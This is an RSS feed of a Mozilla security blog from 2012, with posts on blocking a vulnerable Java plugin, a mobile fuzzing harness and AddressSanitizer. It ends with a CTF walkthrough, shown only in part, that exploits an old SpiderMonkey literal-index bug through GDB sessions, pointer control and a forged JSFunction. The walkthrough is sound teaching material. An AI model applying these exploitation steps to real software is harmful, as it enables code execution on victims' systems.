<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Securing Firefox</title>
	<atom:link href="http://blog.mozilla.org/decoder/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.mozilla.org/decoder</link>
	<description>Testing software until it breaks</description>
	<lastBuildDate>Sat, 07 Apr 2012 01:02:27 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Why an outdated Java Plugin is so serious</title>
		<link>http://blog.mozilla.org/decoder/2012/04/06/why-an-outdated-java-plugin-is-so-serious/</link>
		<comments>http://blog.mozilla.org/decoder/2012/04/06/why-an-outdated-java-plugin-is-so-serious/#comments</comments>
		<pubDate>Fri, 06 Apr 2012 11:54:56 +0000</pubDate>
		<dc:creator>decoder</dc:creator>
				<category><![CDATA[Learning Material]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://blog.mozilla.org/decoder/?p=113</guid>
		<description><![CDATA[TweetRecently, Mozilla responded to an imminent threat to Firefox users who have an outdated Java plugin installed: Vulnerable versions of the plugin were blocked automatically (see blog post). Since then, I&#8217;ve been asked a few times why this is important; others have complained that their &#60;any large number&#62; corporate/government installations don&#8217;t work anymore because they [...]]]></description>
				<content:encoded><![CDATA[<div id="tweetbutton113" class="tw_button" style=""><a href="http://twitter.com/share?url=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F04%2F06%2Fwhy-an-outdated-java-plugin-is-so-serious%2F&amp;via=mozdeco&amp;text=Why%20an%20outdated%20Java%20Plugin%20is%20so%20serious&amp;related=&amp;lang=en&amp;count=horizontal&amp;counturl=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F04%2F06%2Fwhy-an-outdated-java-plugin-is-so-serious%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://blog.mozilla.org/decoder/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>Recently, Mozilla responded to an imminent threat to Firefox users who have an outdated Java plugin installed: Vulnerable versions of the plugin were blocked automatically (see <a href="http://blog.mozilla.org/addons/2012/04/02/blocking-java/">blog post</a>). Since then, I&#8217;ve been asked a few times why this is important; others have complained that their &lt;any large number&gt; corporate/government installations don&#8217;t work anymore because they depend on an outdated Java version (note that some of these problems/complaints were probably caused by a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=739955#c90">bug</a> in the initial deployment of the blocklisting entry itself that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=739955#c91">is now fixed</a>). While we all understand that an operational Java Plugin is absolutely crucial for some users, I&#8217;d like to emphasize how critical the situation requiring the block is by providing more details concerning this incident and why it is indeed more serious than some people might think.<span id="more-113"></span></p>
<h4><strong>What&#8217;s wrong with the blocked version of Java?</strong></h4>
<p>With the most recent Java update, Oracle fixed quite a few security vulnerabilities (see <a href="http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html">advisory page</a>), including a vulnerability listed as CVE-2012-0507. Up to this point, this isn&#8217;t really unusual, as most of these updates fix one or more security problems.</p>
<p>However, not even 6 weeks after the release of the Java update, the Microsoft Malware Protection Center received malware samples that exploit the specified vulnerability in a very reliable way and use it to install a well known trojan, called the ZeuS bot. There was now evidence that the vulnerability was not just theoretical, and had become a practical avenue to infect machines with malware. You can read the full blog post from Microsoft <a href="http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx">here</a> (this is a technical post, so it&#8217;s likely only interesting to you if you have a technical background).</p>
<h4><strong><em>&#8220;I&#8217;m not getting attacked anyway&#8221;</em></strong></h4>
<p>Shortly after the Microsoft post, Brian Krebs published <a href="http://krebsonsecurity.com/2012/03/new-java-attack-rolled-into-exploit-packs/">a blog post</a> on the topic, stating that the exploit is now being integrated into well known <strong>exploit kits</strong>, e.g. the Blackhole exploit kit. These kits can be purchased on the black market and are usually integrated invisibly into hacked websites or indirectly served on websites through hacked content providers (imagine  the number of vulnerable users you can reach when you break into an advertisement server and include your malware into banners served to other sites). With this step, the threat became more serious: Unless you just don&#8217;t browse the Internet at all, the risk of getting infected is <strong>very real</strong>. Of course there might be a minority of users that only ever browses a corporate intranet which will mitigate the risk, but this isn&#8217;t really the common use case for a web browser. If a user <strong>absolutely</strong> needs the older, vulnerable version of Java, they can still  bypass the warning.</p>
<h5><em>&#8220;I have a Mac, I&#8217;m safe&#8221;</em></h5>
<p>While this might have been true at some point in the past, the threat landscape for Mac/OS X has changed quite a bit in the last few years. As the popularity of the Mac platform has grown so has its attactiveness as a target for attackers. Only a few days ago, F-Secure announced that the Flashback trojan, a well known piece of Mac malware, is now exploiting the very same vulnerability we&#8217;ve been discussing so far. You can read the post <a href="https://www.f-secure.com/weblog/archives/00002341.html">here to get all the technical details about it.</a> According to recent reports, the number of infected Mac/OS X machines recently grew rapidly <strong>over half a million</strong> and is still growing. As such the threat to Mac users is evident and imminent, thus prompting our response on all platforms. Note that Apple has recently released a Java update as well that addresses this vulnerability. </p>
<h4><strong>Summary</strong></h4>
<p>In reviewing the actions and threats for this Java vulnerability, or, for that matter, any security issue, we take the balance of security vs. usability very seriously. This situation is an instance where we felt the balance had tipped towards taking a security action that has a minor adverse affect to the user community as a whole. The desired goal is to protect our users, to encourage them to upgrade to more recent, secure versions of plug-ins and to maintain our history of thoughtful security action.</p>
<h4><strong>Acknowledgements</strong></h4>
<p>Thanks to the various people involved in getting the proper blocks in place so quickly, that was an amazing job. Thanks also to Curtis Koenig, Dan Veditz and Ian Melven for reviewing/editing this post <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.mozilla.org/decoder/2012/04/06/why-an-outdated-java-plugin-is-so-serious/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ADBFuzz &#8211; A Fuzz Testing Harness for Firefox Mobile</title>
		<link>http://blog.mozilla.org/decoder/2012/03/09/adbfuzz-a-fuzz-testing-harness-for-firefox-mobile/</link>
		<comments>http://blog.mozilla.org/decoder/2012/03/09/adbfuzz-a-fuzz-testing-harness-for-firefox-mobile/#comments</comments>
		<pubDate>Fri, 09 Mar 2012 16:25:14 +0000</pubDate>
		<dc:creator>decoder</dc:creator>
				<category><![CDATA[Fuzzing]]></category>
		<category><![CDATA[Learning Material]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://blog.mozilla.org/decoder/?p=55</guid>
		<description><![CDATA[TweetFuzz testing (automated, random testing) is an important part of nearly every application security life cycle. While there are a lot of tools, frameworks and harnesses available for regular desktop platforms/operating systems, there&#8217;s still a lot missing in the mobile sector which is becoming increasingly important. In this article, I will describe the necessary implementation [...]]]></description>
				<content:encoded><![CDATA[<div id="tweetbutton55" class="tw_button" style=""><a href="http://twitter.com/share?url=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F03%2F09%2Fadbfuzz-a-fuzz-testing-harness-for-firefox-mobile%2F&amp;via=mozdeco&amp;text=ADBFuzz%20%26%238211%3B%20A%20Fuzz%20Testing%20Harness%20for%20Firefox%20Mobile&amp;related=&amp;lang=en&amp;count=horizontal&amp;counturl=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F03%2F09%2Fadbfuzz-a-fuzz-testing-harness-for-firefox-mobile%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://blog.mozilla.org/decoder/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>Fuzz testing (automated, random testing) is an important part of nearly every application security life cycle. While there are a lot of tools, frameworks and harnesses available for regular desktop platforms/operating systems, there&#8217;s still a lot missing in the mobile sector which is becoming increasingly important.</p>
<p>In this article, I will describe the necessary implementation steps for a mobile fuzzing harness and provide a proof-of-concept implementation called <em>ADBFuzz</em> that allows anyone to <strong>run fuzzers written in Javascript in Firefox Mobile on Android</strong>. In the near future, we will also likely release internal fuzzers that can be used with this harness.<span id="more-55"></span></p>
<h4><strong>Basic Requirements for Mobile</strong></h4>
<p>The principles of fuzzing are no different on mobile when comparing to desktop platforms, it&#8217;s just that the different steps of fuzzing are more complex to implement. To understand the problems we need to solve, we first have to look at these steps from a more general perspective.</p>
<p>The following diagram roughly describes how many fuzzers work:</p>
<p><a href="http://blog.mozilla.org/decoder/files/2012/03/fuzzing-overview1.png"><img class=" wp-image-58 alignleft" title="fuzzing-overview" src="http://blog.mozilla.org/decoder/files/2012/03/fuzzing-overview1.png" alt="" width="337" height="306" /></a></p>
<ul>
<li>We need to be able to start the target program obviously.</li>
<li>Supply tests to the program, which can either happen by testing from inside the program, or by creating tests externally and sending them to the program.</li>
<li>While a test is executed, we need to monitor the program for responsiveness and crashes.</li>
<li>If the program goes non-responsive for a certain amount of time, we can assume that it&#8217;s hanging and we terminate the program and go back to the first step.</li>
<li>If we crash, then we would of course want to triage the crash and e.g. determine if it&#8217;s a known problem.</li>
<li>Based on the triage, we need to save the tests we executed so far in order to be able to reproduce the problem later. Note that based on the correctness assumptions, we might also consider hangs as interesting and process them like crashes (e.g. if our program is not supposed to hang under any circumstances).</li>
</ul>
<p>Let&#8217;s try to apply this information to Mobile: Assuming our target program is running on a mobile device (e.g. tablet, smart phone), we first need a way to communicate with the device to perform basic tasks like start/stop the program and monitor if it&#8217;s still running. For Android, the <em>Android Debugging Bridge (ADB)</em>, offers the necessary functionality. Using the <code>adb</code> command line tool, we can perform various tasks on the device, including running all sorts of shell commands which should give us enough flexibility to accomplish these steps.</p>
<p><a href="http://blog.mozilla.org/decoder/files/2012/03/adbshell.png"><img class="aligncenter size-full wp-image-63" title="adbshell" src="http://blog.mozilla.org/decoder/files/2012/03/adbshell.png" alt="" width="574" height="126" /></a></p>
<p>However, we do not need to use the adb command line tool directly: Mozilla has a Python-based abstraction called <em>DeviceManager</em> which supports certain tasks on mobile that are implemented using ADB. Using this implementation, we don&#8217;t have to care about low-level shell implementation anymore but can instead use a high-level interface.</p>
<h4><strong>Communication with the Program</strong></h4>
<p>Since we&#8217;re targeting Firefox Mobile, it seems reasonable to have a part of the fuzzer (or even the whole fuzzer), running inside Firefox using Javascript. Based on what is to be tested, we can either implement the whole fuzzer in Javascript, or have the test generation on the host machine leaving only the execution in the browser. Independent of the strategy we choose here, it is desirable to have a <strong>bidirectional communication channel</strong> between the host-part of the fuzzer and the part running in Firefox Mobile. Since Firefox supports <strong>Websockets</strong> we can use those to establish a simple connection back to the host machine (Note that programs like <em>em-websocket-proxy</em> can simply relay incoming websocket connections as raw TCP connections, making the server part trivial to write).</p>
<p>Once we have such a connection we can use it to implement responsiveness protocols and logging as it is desired. Optionally we can use it to send tests to the browser to have them executed there.</p>
<p><a href="http://blog.mozilla.org/decoder/files/2012/03/adbfuzz-overview.png"><img class="aligncenter  wp-image-97" title="adbfuzz-overview" src="http://blog.mozilla.org/decoder/files/2012/03/adbfuzz-overview.png" alt="" width="544" height="288" /></a></p>
<h4><strong>Crash Triage</strong></h4>
<p>In general, crash triage can be done reasonably well once we have a crash stack trace and an optional assertion message. On the desktop, the OS usually provides some form of crash dump, like core dumps on Linux. On Android, this isn&#8217;t trivial to achieve. While it&#8217;s certainly possible to get core dumps to work on a rooted Android device, it&#8217;s impossible without rooting (to my knowledge). But at least for Firefox, we don&#8217;t need core dumps, we can use the crash reporter built into Firefox instead. With the right settings, the Firefox crash reporter will create a minidump when it crashes, but not submit it or show a submit screen. Instead it will just exit after having written the dump, which is perfectly suitable for our automated testing.</p>
<p>Once the fuzzing harness detects a crash, we only have to check the minidump directory on the device for any crash dumps, then pull the dump off the device and run a tool like <em>minidump_stackwalker</em> on it to get a crash stack trace.</p>
<h4><strong>Proof of Concept</strong></h4>
<p>In order to make it easier for security researchers and other interested community members to write fuzzing tools for the mobile platform, I decided to create a proof-of-concept implementation in Python that allows running fuzzers written in Javascript in Firefox Mobile. In order to use it, you need an Android device and either root on it, or a special Firefox build (flagged as &#8220;debuggable&#8221;). Please see the provided README file for further details. The source code is available in a Github repository:</p>
<p style="text-align: center;"><a href="https://github.com/mozilla/ADBFuzz" target="_blank">https://github.com/mozilla/ADBFuzz</a></p>
<p>For now, the implementation only comes with a &#8220;Hello world&#8221; fuzzer, that includes the required Websockets communication code but no real fuzzing logic itself. Instead it has a nice little demo that will spin around a <code>&lt;div&gt;</code> tag using CSS transformations. It is up to you to implement any desired &#8220;real&#8221; testing there. As previously mentioned, we also plan to release certain tools in the future: Jesse Ruderman, author of jsfunfuzz, domfuzz and other fuzzing tools we use at Mozilla, has announced that he will very likely make his tools public in the near future. Some of these tools are compatible with the harness presented here.</p>
<h4><strong>Acknowledgements</strong></h4>
<p>Special thanks goes to the Mozilla Automations Team (ateam), especially to Joel Maher, Geoffrey Brown, William Lachance and Clint Talbert for helping me with necessary changes around DeviceManagerADB.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.mozilla.org/decoder/2012/03/09/adbfuzz-a-fuzz-testing-harness-for-firefox-mobile/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update on Address Sanitizer</title>
		<link>http://blog.mozilla.org/decoder/2012/03/09/update-on-address-sanitizer/</link>
		<comments>http://blog.mozilla.org/decoder/2012/03/09/update-on-address-sanitizer/#comments</comments>
		<pubDate>Thu, 08 Mar 2012 23:36:27 +0000</pubDate>
		<dc:creator>decoder</dc:creator>
				<category><![CDATA[Code Analysis]]></category>
		<category><![CDATA[Fuzzing]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://blog.mozilla.org/decoder/?p=49</guid>
		<description><![CDATA[TweetIn a previous blog post, I outlined how the memory error detection tool Address Sanitizier (ASan) can be used with Firefox to find memory problems with a high degree of performance and how it can even detect certain errors that conventional tools missed. While it was very complex to build Firefox with ASan support in [...]]]></description>
				<content:encoded><![CDATA[<div id="tweetbutton49" class="tw_button" style=""><a href="http://twitter.com/share?url=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F03%2F09%2Fupdate-on-address-sanitizer%2F&amp;via=mozdeco&amp;text=Update%20on%20Address%20Sanitizer&amp;related=&amp;lang=en&amp;count=horizontal&amp;counturl=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F03%2F09%2Fupdate-on-address-sanitizer%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://blog.mozilla.org/decoder/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>In a <a title="Trying new code analysis techniques" href="http://blog.mozilla.org/decoder/2012/01/27/trying-new-code-analysis-techniques/" target="_blank">previous blog post</a>, I outlined how the memory error detection tool <em>Address Sanitizier (ASan)</em> can be used with Firefox to find memory problems with a high degree of performance and how it can even detect certain errors that conventional tools missed.</p>
<p>While it was very complex to build Firefox with ASan support in the past, we now provide a much easier way (achieved by landing <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=727445" target="_blank">bug 727445</a>).<span id="more-49"></span> One of the most important changes is that from now on, <strong>no patching of Clang/LLVM</strong> is required anymore. Secondly, <strong>no further patches to Firefox</strong> are required for building, only a custom build configuration must be used. The <a href="https://developer.mozilla.org/en/Building_Firefox_with_Address_Sanitizer" target="_blank">build manual</a> has been updated accordingly to reflect these changes. We hope that this encourages more people to try this tool and help us to improve Firefox.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.mozilla.org/decoder/2012/03/09/update-on-address-sanitizer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mozilla CTF &#8211; Challenge 15 Walkthrough</title>
		<link>http://blog.mozilla.org/decoder/2012/02/01/mozilla-ctf-challenge-15-walkthrough/</link>
		<comments>http://blog.mozilla.org/decoder/2012/02/01/mozilla-ctf-challenge-15-walkthrough/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 23:30:14 +0000</pubDate>
		<dc:creator>decoder</dc:creator>
				<category><![CDATA[Learning Material]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://blog.mozilla.org/decoder/?p=27</guid>
		<description><![CDATA[TweetRecently, Mozilla held a CTF (Capture the Flag) contest where teams had to solve a set of challenges from different areas of security. I was asked to create one of these challenges (CH15) and decided to use a real (old) Firefox JS engine vulnerability for that purpose. Of course, using Firefox itself would have been [...]]]></description>
				<content:encoded><![CDATA[<div id="tweetbutton27" class="tw_button" style=""><a href="http://twitter.com/share?url=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F02%2F01%2Fmozilla-ctf-challenge-15-walkthrough%2F&amp;via=mozdeco&amp;text=Mozilla%20CTF%20%26%238211%3B%20Challenge%2015%20Walkthrough&amp;related=&amp;lang=en&amp;count=horizontal&amp;counturl=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F02%2F01%2Fmozilla-ctf-challenge-15-walkthrough%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://blog.mozilla.org/decoder/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>Recently, Mozilla <a href="https://blog.mozilla.org/webappsec/2012/01/31/after-mozilla-ctf2012/" target="_blank">held a CTF</a> (Capture the Flag) contest where teams had to solve a set of challenges from different areas of security. I was asked to create one of these challenges (CH15) and decided to use a real (old) Firefox JS engine vulnerability for that purpose. <span id="more-27"></span>Of course, using Firefox itself would have been too heavy for the challenge, so I decided to setup an old (vulnerable) version of our JavaScript shell binary instead (which suffered the same vulnerability of course). That binary was installed SUID as some other user that had access to the secret required for scoring the challenge points. Additionally, things like address randomization and executable space protection were switched off. So from a high level perspective, the challenge was &#8220;easy&#8221;: Exploit the shell somehow to run arbitrary code, then read the file. However, the actual exploit was very complex; in fact nobody solved it on the regular way (at some point, certain teams found a format string vulnerability in the shell that they could exploit <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ). As I consider the intended way of exploitation to be really interesting, I decided to write this walkthrough and hope you enjoy it.</p>
<h4><strong>Logging In</strong></h4>
<p>After logging in to the machine, we are not only given a JS binary that is SUID to some other user (one can imagine that it has access to the secret somehow), but we also get some JavaScript file called <a href="https://people.mozilla.com/~choller/ctf/ch15/regress-155081.js" target="_blank">&#8220;regress-155081.js&#8221;</a>. And that file has some impact:</p>
<p><code><br />
$ ./js regress-155081.js<br />
Segmentation fault<br />
</code></p>
<p>Uh hu, we crashed. Looking into the file we see some test information but mainly, the file is made up of this (long) code:</p>
<p><code><br />
f('1','2','3','4');<br />
f('5','6','7','8');<br />
...<br />
f('69997','69998','69999','70000')<br />
</code></p>
<p>Wow, that&#8217;s a lot of calls. From the bug number in the filename (and the file itself), we find quickly find <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=155081" target="_blank">bug 155081</a> but we also notice that the testcase in that bug does not crash our shell. We also notice there is a &#8220;haha;&#8221; in line 17436 which is not in the original test but will surely throw an exception for being an unbound identifier. Given that, it&#8217;s likely that it&#8217;s a related bug but not the one mentioned in the regression test. Some digging in 2011&#8242;s security advisories for Firefox however could bring you to <a href="https://www.mozilla.org/security/announce/2011/mfsa2011-05.html" target="_blank">this advisory</a> which talks about 64k literals, sounds like what we have here. Finding that advisory and the associated bug report however isn&#8217;t required to solve the challenge, but it makes understanding the problem a lot easier and it also provides you with the necessary source code.</p>
<h4><strong>In GDB</strong></h4>
<p>So let&#8217;s have a look at the crash in GDB:</p>
<p><code><br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x0805cb77 in OBJ_SCOPE (obj=0xd73d8ed7) at ../jsscope.h:347<br />
(gdb) bt<br />
#0  0x0805cb77 in OBJ_SCOPE (obj=0xd73d8ed7) at ../jsscope.h:347<br />
#1  0x0817e474 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:4035<br />
[...]<br />
(gdb) x /2i $pc<br />
=> 0x805cb77 <OBJ_SCOPE(JSObject*)+6>:  mov    (%eax),%eax<br />
   0x805cb79 <OBJ_SCOPE(JSObject*)+8>:  pop    %ebp<br />
(gdb) info register eax<br />
eax            0xd73d8ed7       -683831593<br />
</code></p>
<p>It seems like we are trying to access stuff at 0xd73d8ed7 which isn&#8217;t allocated. The question is now, where does that address come from? It&#8217;s not easy but there are several ways to figure this out, e.g. by scanning memory, playing around with the file, or by understanding how our string literals are stored/referred to in our script. In a nutshell, the interpreter in our JS engine has an &#8220;atom map&#8221;, which contains all the literals of the script. When referring to such a literal in the interpreter byte code, the code refers to the index in the atom map. Lets&#8217; take a look at the existing opcodes in the source code. In js/src/jsopcode.tbl we have for example:</p>
<p><code><br />
/* legend: op         val name          image       len use def prec  format */<br />
OPDEF(JSOP_STRING,    61, "string",     NULL,         3,  0,  1, 19,  JOF_ATOM)<br />
</code></p>
<p>That&#8217;s the opcode that is supposed to be used for our string literals too, followed by two bytes indicating the index. In hex, that would be 0x3d 0xAL 0xAH to indicate index 0xAHAL (little endian). Note that we do have that pattern in our crash address. As we can influence the generated opcodes (by altering the script), we can try to verify our assumption. If our crash address really comes from the script&#8217;s opcodes, then replacing some opcode by a shorter opcode should modify our address. Let&#8217;s replace the first string literal &#8220;&#8217;1&#8242;&#8221; by &#8220;null&#8221; instead. In GDB we get:</p>
<p><code><br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x0805cb77 in OBJ_SCOPE (obj=0x3d8ed73d) at ../jsscope.h:347<br />
</code></p>
<p>That&#8217;s our previous crash address, it&#8217;s just shifted it seems! <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  So we can be pretty sure now that for some reason our crash address is influenced by the script&#8217;s code (in opcode form).</p>
<h4><strong>Automation and Pointer Control</strong></h4>
<p>It is always a good idea to automate things a bit. For the next step, I&#8217;d like to use a <a href="https://people.mozilla.com/~choller/ctf/ch15/gen1.pl" target="_blank">perl script</a> that just composes our script as we need it. With our automated script we get:</p>
<p><code><br />
obj address: 0x2dba3d2c<br />
</code></p>
<p>Very well, lets assume the 0x2dba is our index for the 0x3d opcode, that would be 47661 in decimal. We should try to modify the opcodes around the area in the script to see if we can influence the crash. We <a href="https://people.mozilla.com/~choller/ctf/ch15/gen2.pl" target="_blank">modify our script</a> to try and replace a certain string literal with a high number literal that goes directly into the opcode (e.g. 0xFFFFFF which is small enough to be embedded in the opcode but also clearly visible). We get:</p>
<p><code><br />
[...]<br />
Q: 47658 Address: 0xba3d2bba<br />
Q: 47659 Address: 0xba3dffff<br />
Q: 47660 Address: 0xffffbc2c<br />
Q: 47661 Address: 0x2dba3d2c<br />
[...]<br />
</code></p>
<p>Nice! When replacing 47660, we actually overwrite the first two bytes of our object address. Before we continue, we should first think about what we actually would want &#8220;obj&#8221; to point at. Of course the best thing would be memory entirely controlled by us. One way to achieve that is including another string in the script, just for that purpose. Therefore we add some dead beef to our script now by having our perl script add <code>var buf = '\uDEAD\uBEEF\uDEAD\uBEEF'</code> at the beginning. Remember that messing with the script code also changes the generated opcodes and our crash address will likely change. Therefore, we rerun <a href="https://people.mozilla.com/~choller/ctf/ch15/gen3.pl" target="_blank">the modified script</a> once more now:</p>
<p><code><br />
Q: 47655 Address: 0x3d2aba3d<br />
Q: 47656 Address: 0xffffffbc<br />
Q: 47657 Address: 0xffbc2bba<br />
</code></p>
<p>Perfect. Not only do we have our own string buffer now (which we will have to locate in memory next), but we also control the first 3 bytes of the obj pointer (caused by shifting the opcodes) which should be sufficient.</p>
<h4><strong>Controlling the Object</strong></h4>
<p>In order to control the obj address being used here, we need to locate our own string buffer in memory:</p>
<p><code><br />
(gdb) f 1<br />
#1  0x0817e474 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:4035<br />
(gdb) find /w /1 *script->atomMap.vector, 0xffffffff, 0xdeadbeef<br />
0x81c384a<br />
1 pattern found.<br />
(gdb) x /8wx 0x81c384a - 4<br />
0x81c3846:      0x00000035      0xdeadbeef      0xdeadbeef      0xdeadbeef<br />
0x81c3856:      0xdeadbeef      0xdeadbeef      0xdeadbeef      0xdeadbeef<br />
</code></p>
<p>So our buffer starts at 0x081c384a. That means we should try to set our 3 controllable bytes to 0x081c38 and see if we can get anywhere <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Note that we need to turn the bytes around because we&#8217;re on little endian, so the decimal value of 3677192 (0x381c08) will do. With that, we get in GDB:</p>
<p><code><br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x0817e474 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:4035<br />
(gdb) x /2i $pc<br />
=> 0x817e474 <js_Interpret(JSContext*)+93424>:  mov    0x1c(%eax),%eax<br />
   0x817e477 <js_Interpret(JSContext*)+93427>:  shl    $0x2,%eax<br />
(gdb) info register eax<br />
eax            0xbeefdead       -1091576147<br />
</code></p>
<p>So we control that object pointer now <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  From here, there are probably a few ways to leverage this to arbitrary code execution. When I found this vulnerability in 2010, I wasn&#8217;t really experienced with the internals of the JS engine, so I simply searched for obvious uses of function pointers in the source code. It turned out that JSFunction objects look like a good target: While they all represent functions in JavaScript, they can either be backed by JavaScript (like any regular function defined in JS), or they can be <em>natives</em> which means they are implemented in C/C++. If a JSFunction is native, then it contains a function pointer to the C code. Of course that sounds suitable: If we controlled how the JSFunction looks like in memory, we can easily make up our own native function pointing to shell code. Now we only need to see how we can get a JSFunction into the game here.</p>
<h4><strong>Controlling a JSFunction</strong></h4>
<p>In order to know where to put the JS function, we need to think about why the code actually crashes. If you have the bug description, then you know by now that more than 64k literals were not supported (because the 0x3D opcode only allows two bytes for the atomMap offset to be specified, which can be at most 65535 therefore). In order to overcome that limitation, the developers added the following opcodes:</p>
<p><code><br />
/*<br />
 * Opcodes to allow 24-bit atom or object indexes. Whenever an index exceeds<br />
 * the 16-bit limit, the index-accessing bytecode must be bracketed by<br />
 * JSOP_INDEXBASE and JSOP_RESETBASE to provide the upper bits of the index.<br />
 * See jsemit.c, EmitIndexOp.<br />
 */<br />
OPDEF(JSOP_INDEXBASE,     189,"atombase",   NULL,     2,  0,  0,  0,  JOF_UINT8|JOF_INDEXBASE)<br />
OPDEF(JSOP_RESETBASE,     190,"resetbase",  NULL,     1,  0,  0,  0,  JOF_BYTE)<br />
OPDEF(JSOP_RESETBASE0,    191,"resetbase0", NULL,     1,  0,  0,  0,  JOF_BYTE)<br />
</code></p>
<p>So what is actually happening is that JSOP_INDEXBASE is emitted, indicating we want to use the &#8220;high&#8221; indexes, but then our &#8220;haha;&#8221; causes an exception, so we end up in the catch { } block with an inconsistency between our indexbase and our actual atomMap. Everything we do in the catch block that requires accessing the atomMap will therefore blow up. You may have noticed that we can even leave the catch block empty and still get our crash. That is because when entering the catch block, the JS engine already tries to load the scope object using the wrong index base. An empty catch block won&#8217;t help us much though, it seems more reasonable to attempt to create a function in the catch block that will actually be loaded from an address we control. There are probably multiple ways to achieve that (probably even easier ones than mine), but here&#8217;s what I did:</p>
<ol>
<li>Define a function &#8220;foo&#8221; globally that takes our function and executes it. For that purpose, I put <code>function foo(x) { x(); } foo(print);</code> right behind the definition of &#8220;f&#8221;. We also call the function at least once before we enter the catch block. It seems that the first call fills the property cache of the JS engine, affecting the later execution path.</li>
<p><br/></p>
<li>Call &#8220;foo&#8221; from within the catch block with our own function. The easiest possible function here is an anonymous function, like <code>foo(function () { print('hax'); });</code> because that type of function does not register a name (which would also go to atomMap and crash us again). Loading the anonymous function will happen using the indexbase (which is still pointing to space we control), so we can control what is loaded.</li>
</ol>
<p>As we changed the script code again, we have to readjust the index we&#8217;re replacing and possibly add some padding to get the pointer under our control again (works as demonstrated previously). The changed script looks like <a href="https://people.mozilla.com/~choller/ctf/ch15/gen4.pl" target="_blank">this</a>. Note that we also changed &#8220;genbuf&#8221; to return something more sophisticated: Basically it returns a buffer with a pointer to the buffer itself (we previously saw that the engine tries to read a pointer from our buffer and use it). We also have to move that pointer a bit for it to be in the right place. With that buffer, we get past the previous crash and get:</p>
<p><code><br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x0817a843 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:3238<br />
The corresponding source is this:<br />
          BEGIN_CASE(JSOP_LAMBDA)<br />
            /* Load the specified function object literal. */<br />
            LOAD_FUNCTION(0);<br />
            obj = FUN_OBJECT(fun);<br />
            if (FUN_NULL_CLOSURE(fun)) { <strong><- Crash</strong></p>
<p>(gdb) p fun<br />
$1 = (JSFunction *) 0x3d29ba3d<br />
</code></p>
<p>Seems like we are close to controlling the JSFunction*, it&#8217;s again in opcode world, actually only one literal further than the one we previously messed with! So we adjust the code once more to not only overwrite the literal we specified with the address, but also the following one (again with our buffer address of course). We also need to adjust our buffer further. Let&#8217;s have a look at how a JSFunction looks like (from jsfun.h):</p>
<p><code><br />
